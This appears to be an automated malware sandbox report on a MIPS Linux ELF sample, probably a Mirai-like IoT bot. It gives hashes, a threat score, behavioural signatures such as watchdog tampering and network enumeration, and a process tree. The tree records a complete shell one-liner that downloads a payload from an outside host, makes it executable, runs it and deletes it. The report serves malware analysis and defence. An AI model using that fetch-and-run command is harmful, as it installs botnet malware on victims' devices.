Overview

overview

10

Static

static

10

e2ca76a3d4...17.elf

debian-9-mips

7

Analysis

  • max time kernel
    140s
  • max time network
    144s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240221-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240221-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23/02/2024, 05:41

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General

  • Target

    e2ca76a3d4a51aa9fc1f0eb8943e886876a70ec80534af9685683426be59e717.elf

  • Size

    155KB

  • MD5

    2efc897ea0e1c4cf156506f598e2cac9

  • SHA1

    c056f0536cc81194d0d0b74afb5013d43daaca1e

  • SHA256

    e2ca76a3d4a51aa9fc1f0eb8943e886876a70ec80534af9685683426be59e717

  • SHA512

    136f0ddcdb18fc17364f64330a7a99a72aa68f15a0f7ae18d529e75eb65be55b41782937c2790f02dcce31605a603cc5be8f90499dcbdd6042cea2c2ec78627d

  • SSDEEP

    3072:B7esBFP23rWfOB7ZOOyGOWKmrThPaLEne7rNb:1euCloGOrmrThPaLEne7rNb

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e2ca76a3d4a51aa9fc1f0eb8943e886876a70ec80534af9685683426be59e717.elf
    /tmp/e2ca76a3d4a51aa9fc1f0eb8943e886876a70ec80534af9685683426be59e717.elf
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:708
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:710
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:716
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:724
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:726
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:726
            • /bin/rm
              rm -rf .....
              3⤵
                PID:729

          Network

                MITRE ATT&CK Enterprise v15

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